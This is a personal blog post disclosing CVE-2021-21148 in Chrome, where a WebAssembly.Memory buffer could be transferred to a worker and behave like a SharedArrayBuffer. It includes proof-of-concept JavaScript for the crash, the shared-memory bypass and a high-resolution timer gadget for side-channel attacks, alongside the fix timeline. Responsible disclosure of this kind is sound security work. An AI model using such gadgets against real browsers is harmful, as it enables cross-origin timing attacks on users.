Mattias Buelens

How I accidentally became a security researcher

• 15 min read

Working on web standards often means thinking about tons of different edge cases of how a new feature might be used. Sometimes the only way to find them is to just start poking at the API yourself: trying weird inputs, seeing what happens, and paying attention when something doesn’t look quite right. Once in a while, that leads somewhere unexpected.

In this blog post, I’ll break down how toying around with a new feature shipped in Google Chrome in early 20211 eventually led to finding a security vulnerability and getting my first CVE (CVE-2021-21148).

Toying around with readable byte streams

In January 2021, as part of my ongoing work on the Streams standard, I was testing Chrome’s brand-new implementation of readable byte streams. They had just shipped this feature as part of Chrome 89, making them the first browser to do so. As such, I was eager to toy around with it.

The following tests were performed on Chromium version 90.0.4398.0, built on January 24, 2021.

Readable byte streams are a specialized version of readable streams, where the stream’s contents are raw bytes. You can read from such a stream using a regular default reader, receiving the bytes as separate Uint8Array chunks:

const reader = stream.getReader()
while (true) {
  const { done, value } = await reader.read()
  if (done) {
    break
  }
  console.log(value) // e.g. Uint8Array [ 1, 2, 3, 4 ]
}

However, a more efficient way is to use a “bring-your-own-buffer” (BYOB) reader. Instead of receiving each chunk of bytes as a freshly allocated Uint8Array, you can allocate your own buffer upfront and let the stream write the bytes directly into your buffer. This allows for “zero copy transfer”: no extra buffers need to be allocated or deallocated to get the data from the stream to the reader.

const reader = stream.getReader({ mode: 'byob' })
let buffer = new ArrayBuffer(1024)
while (true) {
  // Read the next bytes into `buffer`, overwriting any previously read bytes.
  const { done, value } = await reader.read(new Uint8Array(buffer))
  if (done) {
    break
  }
  // `value` is a view upon our original buffer, not a newly allocated buffer.
  console.log(value)
  // > for example: Uint8Array [ 1, 2, 3, 4 ]
  // `read(view)` transfers `buffer`, so grab the re-transferred buffer
  // from `value` for the next iteration.
  buffer = value.buffer
}

Note that ownership of the buffer you pass to byobReader.read(view) is transferred to the stream. This prevents you from reading or modifying the buffer’s contents while the stream is filling the buffer. This is intended to give the browser more freedom in how it implements the low-level I/O operations, without needing to worry about JavaScript code seeing uninitialized or partial results.

Once the read(view) promise resolves, the buffer is transferred back to you and the read bytes become available in the returned view. Hence, if you want to re-use that same buffer for a subsequent read(view) call, you need to grab the .buffer from that returned view.

Non-transferable buffers

Let’s put on our tester’s hat and look for edge cases in this API. What happens if you call byobReader.read(view) with a view whose buffer cannot be transferred?

One option is to use a SharedArrayBuffer. These behave like regular ArrayBuffers but can be shared across multiple threads, allowing multiple workers to read and write to them in parallel. Usually, these workers would use some sort of synchronization using Atomics to safely operate on the shared memory.

As specified, SharedArrayBuffers cannot be transferred: no one thread can have exclusive ownership over such a buffer. Therefore, it cannot be passed in the transfer list of a postMessage() call:

const worker = new Worker('worker.js')
const buffer = new SharedArrayBuffer(4)
worker.postMessage(buffer, { transfer: [buffer] })
// > Uncaught DOMException: Failed to execute 'postMessage' on 'Worker':
//   SharedArrayBuffer can not be in transfer list.

For the same reason, they cannot be used for byobReader.read(view)2:

const readable = new ReadableStream({
  type: 'bytes',
  pull(c) {
    console.log('pull called')
  }
})
const reader = readable.getReader({ mode: 'byob' })

const buffer = new SharedArrayBuffer(4)
const { done, value } = await reader.read(new Uint8Array(buffer))
// > Uncaught TypeError: Failed to execute 'read' on 'ReadableStreamBYOBReader':
//   The provided ArrayBufferView value must not be shared.

So far so good. However, there’s another, less commonly known option to create a non-transferable buffer.

A WebAssembly.Memory object holds raw bytes of memory that can be used by a WebAssembly instance. These have their [[ArrayBufferDetachKey]] internal slot set to "WebAssembly.Memory" (as per the WASM JS API specification), so they cannot be transferred by a regular postMessage call. Instead, they can only be transferred by calling WebAssembly.Memory.grow() (through JavaScript) or by using the memory.grow instruction (through WebAssembly).

Therefore, we should expect that calling byobReader.read(view) with a view backed by a WebAssembly.Memory’s buffer will throw an error:

const readable = new ReadableStream({
  type: 'bytes',
  pull(c) {
    console.log('pull called')
  }
})
const reader = readable.getReader({ mode: 'byob' })

const memory = new WebAssembly.Memory({ initial: 1 })
const { done, value } = await reader.read(new Uint32Array(memory.buffer))
// > pull called
// > Uncaught (in promise) TypeError: Failed to execute 'read' on 'ReadableStreamBYOBReader':
//   not able to transfer array buffer

Yep, that makes sense, read(view) fails because it could not transfer the array buffer.

Something is not right

…Hang on, why did pull get called in that last example? 🤨

In the case of SharedArrayBuffer, the TypeError is being thrown while validating the input of read(view), before the stream could process the read request. Hence, pull was not called.

However, it seems that with WebAssembly.Memory, the error is being thrown after the read request started processing. Is it possible that the stream already added a new pull-into descriptor, and created a BYOB request for it?

const readable = new ReadableStream({
  type: 'bytes',
  pull(c) {
    console.log('pull called')
    console.log('byobRequest exists?', c.byobRequest != null) // <<<
  }
})
const reader = readable.getReader({ mode: 'byob' })

const memory = new WebAssembly.Memory({ initial: 1 })
const { done, value } = await reader.read(new Uint32Array(memory.buffer))

Chrome showing the “Aw, Snap!” crash page with error code STATUS_BREAKPOINT.

Uh-oh. That is definitely not supposed to happen. 😨

Let’s take a step back: surely postMessage should correctly throw an error if we attempt to transfer a WebAssembly.Memory’s buffer?

const worker = new Worker('worker.js')
const memory = new WebAssembly.Memory({ initial: 1 })
worker.postMessage(memory.buffer, { transfer: [memory.buffer] })

Wait, that didn’t throw any errors at all? 😱 But then what do we get on the worker’s side?

// worker.js
onmessage = (event) => {
  console.log('buffer.byteLength:', ev.data.byteLength)
}
// > buffer.byteLength: 65536

So the worker does receive the buffer. Can it write back to it though?

// main.js
const worker = new Worker('worker.js')
const memory = new WebAssembly.Memory({ initial: 1 })
worker.postMessage(memory.buffer, { transfer: [memory.buffer] })
const view = new Uint32Array(memory.buffer)
setTimeout(() => {
  console.log('read from main', view[0])
}, 100)

// worker.js
onmessage = (event) => {
  const view = new Uint32Array(event.data)
  view[0] = 424242
}

// > read from main 424242

The worker thread can write to the buffer, and the main thread can read the changed values from the buffer. Effectively, we’ve created an ArrayBuffer that is behaving like a SharedArrayBuffer.

Impact

Immediately, I realized this was a big deal. Because of vulnerabilities like Spectre and Meltdown, the SharedArrayBuffer API was initially disabled in Chrome, Firefox and Safari, and later selectively re-enabled for websites with cross-origin isolation. If we can construct an ArrayBuffer that has the same powerful capabilities as a SharedArrayBuffer, then it can bypass this cross-origin isolation requirement and potentially perform side-channel or cross-origin attacks.

In fact, we can readily construct a high-resolution timer gadget by adapting the listing A.6 from the paper “Fantastic Timers and Where to Find Them: High-Resolution Microarchitectural Attacks in JavaScript” by Schwarz et al. to use WebAssembly.Memory instead of SharedArrayBuffer:

// main.js
const counter = new Worker('counter.js')

const memory = new WebAssembly.Memory({ initial: 1 })
const view = new Uint32Array(memory.buffer)
counter.postMessage(view, [view.buffer])

setInterval(() => {
  console.log('timer', view[0])
}, 100)

// counter.js
onmessage = (event) => {
  const view = event.data
  while (true) {
    view[0]++
  }
}

I reported this vulnerability on the Chromium bug tracker on January 25, 2021.

Timeline

The Chromium team was very quick to verify and fix this vulnerability.

The actual fix in V8 was to check if an array buffer is actually detachable before allowing it to be transferred. This behavior was already agreed upon and specified in 2019, with Firefox and Safari already implementing it. Now, Chromium is also aligned.

  1. Vulnerability reported to Chromium

  2. Fix landed in M90 Canary

  3. Fix merged to M89 Beta

  4. Fix merged to M88 Stable

  5. Awarded a VRP reward

Afterward, I also submitted a patch for the Streams standard to make byobReader.read(view) check whether transferring the view’s buffer was actually successful before proceeding with the read request. This is now also covered by Web Platform Tests.

Conclusion

As it turns out, designing a new Web API is no simple task. Web platform APIs do not exist in isolation: they can interact with any of the hundreds of existing Web APIs, allowing web developers to combine them to build innovative and powerful websites and apps. However, it also means that we have to be careful when designing these APIs, and think about the ways some of these combinations could lead to unintended results. It helps to keep some design principles in mind to avoid common pitfalls, but often it still boils down to exploration and experimentation. And the work doesn’t stop with writing the specification and the tests: bugs can creep into browser implementations that silently slip by all the existing tests. This is also why the web uses the term “living standard”: nothing is set in stone, and the entire platform is ever-evolving.

In this case, I ended up finding a bug that could potentially be turned into an exploit, which means I accidentally became a security researcher. But I didn’t start out with the goal of finding a security vulnerability, I was just poking around to see readable byte streams in action in Chrome – like I would do with any newly shipped Streams API. It just so happens that this is more or less the same thing a security researcher would do. 😅

If this blog post got you interested in web standards, or you like thinking about these sorts of edge cases too: get involved! There are tons of ways you can participate: whether it’s writing a new test, suggesting a new feature or even contributing to Chromium, Firefox or WebKit. We welcome all new contributors, and you can always reach out for help.


  1. This write-up is long overdue. Usually, security vulnerabilities are disclosed 90 days after they are reported. This bug is now over 2000 days old… Sorry for keeping you waiting! 😅↩
  2. This restriction may not be permanent. There are ongoing discussions about adding support for reading into a SharedArrayBuffer-backed view, see whatwg/streams#757 and whatwg/streams#1348.↩

Mattias Buelens

I’m Mattias, a software engineer from Belgium. I like working with and helping to advance web technologies.